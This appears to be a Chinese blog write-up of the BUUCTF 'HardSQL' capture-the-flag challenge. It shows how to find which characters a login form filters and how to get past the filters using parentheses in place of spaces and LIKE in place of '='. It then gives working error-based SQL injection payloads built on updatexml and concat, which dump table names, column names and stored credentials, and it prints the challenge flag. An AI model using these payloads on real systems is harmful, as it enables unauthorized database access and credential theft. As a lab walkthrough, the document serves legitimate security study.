当前位置:网站首页>BUUCTF闯关日记--[极客大挑战 2019]HardSQL1
BUUCTF闯关日记--[极客大挑战 2019]HardSQL1
2022-07-22 10:52:00 【清风--】
以后遇到sql注入,我觉得应该先判断他过滤了什么东西,比如比较重要的
第一个:空格
第二个:and,or,select,#,--+
第三个:'(单引号)和"(双引号)
第四个:注入使用的函数(可以挑你比较喜欢的顺手的或者简单的函数优先):
- sleep,if(布尔盲注)
- updatexml,concat(报错注入)
- order by,union(显错注入)
- load_file(DNS注入)
当然了还有一些database()等等,把你要走的路先测试一遍再进行渗透
否则你走到最后一步发现路被堵了,往往就白白浪费时间了
-----------------------------开始----------------------------
进入页面:
测试我们要走的路,可以发现被过滤的有:
空格,=,union,sleep,if
怎么测试空格被过滤了呢:
控制变量法咯.
用户名输入1 密码输入1 回显是账号密码错误
用户名输入1 1 密码输入1 回显是被逮住了
由此可以说明空格被过滤了
测试到 updatexml 发现 oh! 可以,那我们还需要使用select,concat
测试过滤后发现我们遇到的问题有两个:
1.空格不能使用
2.=不能使用
所以只要解决这两个问题就可以使用报错注入
一. 空格不能使用
在本机mysql环境试一下:
可以发现使用 select rq from mylife;
和 select(rq)from(mylife)
效果是一样的,所以就解决了第一个空格无法使用的问题
二. =不能使用
同样也是在本机试一下
发现可以使用like替换=
于是就可以开始找flag了
输入username:1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
输入password:1
URL:
username=1%27or%28updatexml%281%2Cconcat%280x7e%2Cdatabase%28%29%2C0x7e%29%2C1%29%29%23&password=1
输入username:1'or(updatexml(1,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),0x7e),1)#
输入
password:1
输入:
username:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))),0x7e),1)#
password:
1
查字段:
输入
username:
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#
password:
1
由于输出有限所以flag不完整
使用right取另一半:
输入:
username:
1’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,20))))from(H4rDsq1)),0x7e),1))#
password:
1
得到flag:
flag{b6a06839-74f1-40bd-848d-680c8ef18825}
边栏推荐
- Pastel: parasitic matching drive layout and wiring of capacitor array with generalized ratio in charge redistribution sar-adc
- Problems and solutions of using libsvm-3.23 in matlab2017a environment
- 多线程04--线程的原子性、CAS
- Commonly used operators of spark
- Install pycharm
- 多线程07--ThreadLocal
- 字符截取命令
- 微信小程序Cannot read property 'setData' of null錯誤
- Jmeter性能测试
- Bash变量--环境变量
猜你喜欢
pycharm设置
Thread pool 01 -- basic use
A new checkerboard placement and sizing method for capacitors in charge scaling DAC based on nonlinear worst-case analysis
Mysql 导入3亿数据
Automatic current mirror layout (acml) tool
树结构
Problems and solutions of using libsvm-3.23 in matlab2017a environment
Multithreading 05 -- reentrantlock principle
Multithread 07 -- ThreadLocal
Tree structure
随机推荐
流程控制—if语句
Multithreading 04 -- atomicity of threads, CAS
BUUCTF闯关日记--[SUCTF 2019]CheckIn1()
脚本执行方式
Airtest测试框架搭建
Lingo 基本使用
多线程06--CountDownLatch、CyclicBarrier、Semaphore
Bash基本功能—历史命令与补全
ETL process
Highly configurable and scalable spiral capacitor design for high-density or high-precision applications
Tree structure
面向高性能计算场景的存储系统解决方案
ASP.NET Core部署手册:4.注意事项和问题排查
mysql使用常见问题
Spark Learning sparksql
微信小程序入门教程学习笔记——UI篇之布局基础
软件包管理—RPM包管理—校验和文件提取
Redis series 11 -- redis persistence
Multithreading 08 -- blocking queue
Airtest test framework construction